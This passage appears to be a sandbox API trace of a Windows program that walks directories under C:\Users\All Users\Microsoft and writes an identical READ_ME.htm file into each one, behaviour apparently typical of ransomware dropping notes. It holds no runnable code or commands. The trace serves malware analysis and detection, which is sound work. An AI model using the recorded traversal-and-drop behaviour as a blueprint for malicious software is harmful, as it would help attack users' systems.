[0142.028] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb220a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb220a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb220a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.028] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0142.028] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0142.028] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.028] SetErrorMode (uMode=0x0) returned 0x1 [0142.028] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\READ_ME.htm", lpFilePart=0x0) returned 0x41 [0142.028] SetErrorMode (uMode=0x1) returned 0x0 [0142.028] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.029] SetErrorMode (uMode=0x0) returned 0x1 [0142.029] GetFileType (hFile=0x1d0) returned 0x1 [0142.030] WriteFile (in: hFile=0x1d0, lpBuffer=0x295fc30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x295fc30*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.031] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x2d [0142.031] SetErrorMode (uMode=0x1) returned 0x0 [0142.031] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.031] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.031] SetErrorMode (uMode=0x0) returned 0x1 [0142.032] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x2d [0142.032] SetErrorMode (uMode=0x1) returned 0x0 [0142.032] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.032] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.032] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.032] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb48200, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.032] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.032] SetErrorMode (uMode=0x0) returned 0x1 [0142.033] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\READ_ME.htm", lpFilePart=0x0) returned 0x39 [0142.033] SetErrorMode (uMode=0x1) returned 0x0 [0142.033] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.034] SetErrorMode (uMode=0x0) returned 0x1 [0142.034] GetFileType (hFile=0x1d0) returned 0x1 [0142.034] WriteFile (in: hFile=0x1d0, lpBuffer=0x2965d48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2965d48*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.035] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0142.035] SetErrorMode (uMode=0x1) returned 0x0 [0142.036] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.037] SetErrorMode (uMode=0x0) returned 0x1 [0142.037] GetFileType (hFile=0x1d0) returned 0x1 [0142.037] WriteFile (in: hFile=0x1d0, lpBuffer=0x296a2e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x296a2e8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.038] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0142.038] SetErrorMode (uMode=0x1) returned 0x0 [0142.038] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\search\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.039] SetErrorMode (uMode=0x0) returned 0x1 [0142.040] GetFileType (hFile=0x1d0) returned 0x1 [0142.040] WriteFile (in: hFile=0x1d0, lpBuffer=0x296e868*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x296e868*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.041] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x32 [0142.041] SetErrorMode (uMode=0x1) returned 0x0 [0142.042] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.042] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a090130, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj.dat", cAlternateFileName="KEECFM~1.DAT")) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb6e360, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0142.043] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.043] SetErrorMode (uMode=0x0) returned 0x1 [0142.043] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x32 [0142.043] SetErrorMode (uMode=0x1) returned 0x0 [0142.043] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.043] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0142.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0142.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a090130, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj.dat", cAlternateFileName="KEECFM~1.DAT")) returned 1 [0142.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb6e360, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0142.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0142.044] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.044] SetErrorMode (uMode=0x0) returned 0x1 [0142.044] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x43 [0142.045] SetErrorMode (uMode=0x1) returned 0x0 [0142.045] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fb6e360, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0142.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0142.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0142.045] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.046] SetErrorMode (uMode=0x0) returned 0x1 [0142.046] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x43 [0142.046] SetErrorMode (uMode=0x1) returned 0x0 [0142.046] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, 